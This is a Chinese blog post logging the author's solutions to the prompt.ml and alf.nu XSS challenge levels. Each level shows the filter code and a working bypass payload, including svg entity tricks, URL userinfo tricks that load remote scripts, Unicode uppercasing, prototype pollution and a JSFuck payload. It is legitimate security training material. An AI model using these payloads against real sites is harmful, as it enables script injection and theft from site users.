xss练习记录

Posted by kingkk on 2018-08-19

前言

由于各种原因吧,之前也没好好学过xss,就知道简单的闭合弹个窗什么的,趁暑假有时候,系统的学习一下xss。毕竟xss也是web安全的一个重头戏。而且看完一叶飘零师傅的文章,感觉xss比我之前想象的要强的多,也可以达到很强的破坏力。

就先和刷sqllibs一样吧,做一些题目练手。

prompt.ml

level 0

比较简单了,没做什么过滤和防护,闭合双引号就能逃逸出来了

level 1

做了一些过滤,不允许输入<xxx></xxx>形式的标签

1
2
3
4
5
function escape(input) {
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}

然后我利用了下浏览器的容错性,增添了一个<img src=x onerror="alert(/xss/)"的未闭合标签,也有可能是后面的</article>中的>对其进行了闭合,总之达到了一个xss的效果

level 2

果然很菜了,到第三道题就卡住了。过滤了=(

1
2
3
4
function escape(input) {
input = input.replace(/[=(]/g, '');
return input;
}

一开始想利用src或者一些html编码发现貌似不行,于是无奈的看了下writeup。payload为

1
<svg><script>&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;</script>

于是有点好奇,为什么自己的实体编码不行,而它的又可以,而且把<svg>标签替换成别的又无法执行

找了个篇很详细的文章http://pupiles.com/xss.html 我就不班门弄斧了。

由于<svg>属于一种外部标签,对内部实体支持xml解析,于是就将html编码给解码成原来的样子了。从而产生xss

level 3

好吧,还是无奈的看了writeup,算是一个小trick把,html5中可以利用--!>来闭合标签

payload

1
--!><script>alert(/xss/)</script>

level 4

好吧还是不会

1
2
3
4
5
6
7
8
9
function escape(input) {
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

题目中利用正则匹配,规定字符串起始只能为http://prompt.ml/

这里的一个小trick就是,url的另外一种形式http://username:password@host/

利用这个方式就可以将前面的prompt.ml转换成用户名的格式,/利用%2f解码绕过从而加载自己网站上的js

payload:

1
http://prompt.ml%2f@blog.kingkk.com/kingkktest/1.js

有个问题,就是edge和chrome似乎已经不支持这种http://username:password@host/格式的url

请求会被阻塞掉

目前就只有在火狐浏览器上能成功,算是一个小trick吧

level 5

1
2
3
4
function escape(input) {
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}

过滤了onxxx以及focus之类的事件,也将>过滤,导致无法闭合标签

这里有两个小点

  • 浏览器默认解析第一个type属性
  • 浏览的兼容性导致允许一些换行符的存在

这样,我们就可以将这个input标签的属性变成image,然后利用

1
2
error
="prompt(1)

进行绕过,js中正则的g模式匹配空白符,但是不匹配换行符

于是payload为

1
2
" type="image"  src=1 onerror 
="prompt(1)

==、原来prompt(1)函数是用来通关用的,前面一直用的alert(/xss/)

level 6

emmm这题琢磨了蛮久的,一开始是由于代码的原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

输入demo的url之后会生成一段这样的html文本

1
2
3
4
5
6
7
8
<form action="http://httpbin.org/post" method="post"><input name="name" value="Matt"></form>       
<script>
// forbid javascript: or vbscript: and data: stuff
if (!/script:|data:/i.test(document.forms[0].action))
document.forms[0].submit();
else
document.write("Action forbidden.")
</script>

主要的问题实在生成的html中,相当于我们可以控制html的form的action、input的name以及value

首先假如在action中嵌入javascript:alert(/xss/)然后进行提交的时候,是会产生弹窗的

但是当我们这里将action的值设为javascript:alert(/xss/)时,会被forbidden掉

1
2
3
4
5
if (!/script:|data:/i.test(document.forms[0].action)) 
// alert(/xx/);
document.forms[0].submit();
else
document.write("Action forbidden.");

这里还有一个trick就是form.action是会优先匹配name=action的节点,匹配不到时,然后再去寻找action属性的值

删除这个name=action的节点时,就能匹配到form的action值了

这样,这题的答案也就差不多出来了

1
javascript:prompt(1)#{"action":"Matt"}

level 7

主要是利用js的注释,注释掉多余的html字符串,这个在括号里面的注释我是真的没想到。

但也比较容易想通,就直接上payload好了

1
"><script>/*#*/prompt(1/*);#"*/);/*#*/</script>

level 8

比较头疼的一题,搜了writeup,说是可以利用\u2028\u2029来替代换行符

  • 是U+2028,是Unicode中的行分隔符。
  • 是U+2029,是Unicode中的段落分隔符。

由于根本手打不出这两个字,所以我选择了在本地上测试一下。发现了一些奇怪的东西

代码是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<body>
</body>
<script>

function escape(input) {
input = input.replace(/[\r\n</"]/g, '');
return input;

}
var s = '\u2028alert(/xss/);\u2029-->';
var scr = document.createElement('script');
scr.innerText='// console.log("'+s+'");';
document.body.appendChild(scr);

</script>

这里确实可以利用\u2028或者\u2029当作换行符

但是当我为变量s加上escape函数的时候,就不能弹窗了,虽然显示的格式依旧一样

应该是\n\r替换了其中的一部分东西吧,

总之,两个trick,

  • \u2028 \u2029可以当作换行符使用
  • -->在js中可以当作注释符(单行注释)

这题就暂且到这

level 9

一个比较关键的点toUpperCase(),它会将字符串转成大写的,作为防御的手段之一

然而问题也就出在这里

The special part here is the transformation behavior. Not all Unicode characters have matching representations when casted to capitals - so browsers often tend to simply take a look-alike, best-fit mapping ASCII character instead. There’s a fairly large range of characters with this behavior and all browsers do it a bit differently.

并非所有的字符串都有大写,有时候浏览器会将他们转换成相似的形式,而且每个浏览器行为不同

例如chrome中会将ſ大写转化后变成S从而绕过正则,产生SCRIPT标签

于是就可以构造<ſcript src=//kingkk.com/2.js></ſcript>,在chorme中会被转换成

1
<SCRIPT SRC=//KINGKK.COM/2.JS></SCRIPT>

http和域名是大小写不敏感的,linux是大小写敏感的,我们只要在自己的服务器下放置2.JS文件即可

level 10

感觉比较简单了,进行了两次过滤,只要在prompt中插入一个单引号就可以了

1
pro'mpt(1)

level 11

过滤了很多字符串,导致暂时无法改变语句。

看了writeup之后是说用in运算符,则会执行前面的语句

可以看到虽然报了错,但是还是执行了alert语句,利用这个方法就可以构造payload

1
"(prompt(1))in"

level 12

本来一开始想用eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 47, 120, 115, 115, 47, 41))

后来发现url编码之后,不能使用了,于此同时,很多=,:之类的也不能用了

看了解法之后是用parseInt他能得到一个字符串的十进制表示,利用toString即可还原成字符

parseInt() 函数可解析一个字符串,并返回一个整数。

得到parseInt("prompt",36)转换后的数字是1558153217

于是最终的payload就是

1
eval(1558153217.toString(36)(1))

level 13

好吧,我也不知道是我看不懂还是不想看,总之看了一会逻辑不是很明白,就想着翻writeup了,就当学习一下trick了

第一个trick就是当实例中没有该属性的时候,js会去类的__proto__中寻找该值,并返回

1
2
3
4
5
6
7
8
9
10
11
> config = { "source":"http:www.kingkk.com","__proto__":{"source":"http://evil.com"} }
< {source: "http:www.kingkk.com"}

> config.source
< "http:www.kingkk.com"

> delete config.source
< true

> config.source
<"http://evil.com"

还有一个trick是正则匹配的trick,关于$`的

1
2
> 'abcdef'.replace('cd','$`123')
< "abab123ef"

当要替换的值中有$`的值时,会是上面这种匹配情况

最后的payload

1
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}

终极复杂了,可以说没怎么看懂

level 14

好吧,其实一开始想到了尝试base64的形式,但是base64是大小写敏感,这里的toUpperCase()让我不知道怎么处理

看了writeup,构造出了一个base64全为大写的payload

1
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

由于无法将url指定到我的服务器,所以暂时也无法复现

level15

level7的升级版本,最主要的就是过滤了*,于是就不能用/**/的方式来过滤

这里主要是利用<svg>这种外部元素,会对其中的字符进行xml解析,也就导致了<!---->这种过滤符可以被使用

然后利用这个特性,就可以构造出payload了

1
"><svg><!--#--><script><!--#-->prompt(<!--#-->1)</script>

alf.nu

warmup

闭合即可

1
");alert(1);//

adobe

转移了",那就另起一个script标签

1
)</script><script>alert(1);//

json

一样的操作

1
)</script><script>alert(1);//

javascript

好吧,有点菜了,看不到实时生成的html代码就有点蒙蔽

由于之里会将url带入href的部分,会经过一次url解码,导致可以利用url编码的方式绕过

1
%22);alert(1);//

markdown

有两个对于markdown语法的正则替换

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

一开始是想到了将两个标签混合在一起,但还是差了点东西

最后看了writeup的payload

1
[[a|http://onerror=alert(1)//]]

这样之后,就会生成,从而产生xss

1
<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

dom

输入TextNode或者一些Script标签时,后面的内容部分都会被转译成html实体,导致无法逃逸

这里的方法是输入一个Comment也就是注释标签,例如

1
Commnet#test

就会生成一个

1
<!--test-->

这样,我们只要闭合了前面的<!--,后面的部分就能自由发挥了

1
Comment#--><script>alert(1)</script>

callback

好吧,这题本来不应该没想到的,感觉潜意识里一直想用双引号来闭合,倒是忘了单引号

最后payload

1
'#';alert(1);//

skandia

把所有输入转换成了大写的

一开始是想从外部服务器引入js文件的,后来发现好像不支持连外网

于是看了writeup之后发现是利用data协议,进行html编码绕过大写

payload

1
");</script><script  src=data:text/html,%61%6c%65%72%74(1) ></script><script>//

tempalte

有点复杂,先空着

json 2

感觉做这个之前还是有一个逻辑没理清,就是解码顺序

1
2
3
graph LR
A(html解码)-->B(javascript解码)
B-->C(url解码)

因此</script>标签在script标签中有最终的闭合权,无论是在引号还是在别的地方,因为第一次html解码时,是不会解析其中的js代码,只会去识别标签。

从而这里就可以利用双写的方式,来构造</script>标签,从而闭合标签,造成xss

payload

1
</s</scriptcript><script>alert(1);//

callback 2

虽然是自己写出来的,但是有点蒙的成分,有个小trick

<!--在js中也可以当作单行注释来用,然而之前的-->只能在行头使用

payload

1
'alert#123';alert(1); <!--

skandia 2

无法使用<>来闭合标签

一开始想利用toUpperCase的特性,找两个转为大写后变成<>的unicode字符

最后,想起里啊一个神奇的东西,jsfuck!

于是用jsfuck就可以轻松过关

1
");[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()//

Reference Link

http://heartsky.info/2016/07/11/prompt-1-writeup/

http://pupiles.com/xss.html

https://lorexxar.cn/2015/07/02/xss-p/

https://blog.csdn.net/he_and/article/details/79672900

http://heartsky.info/2016/07/13/alert-1-writeup/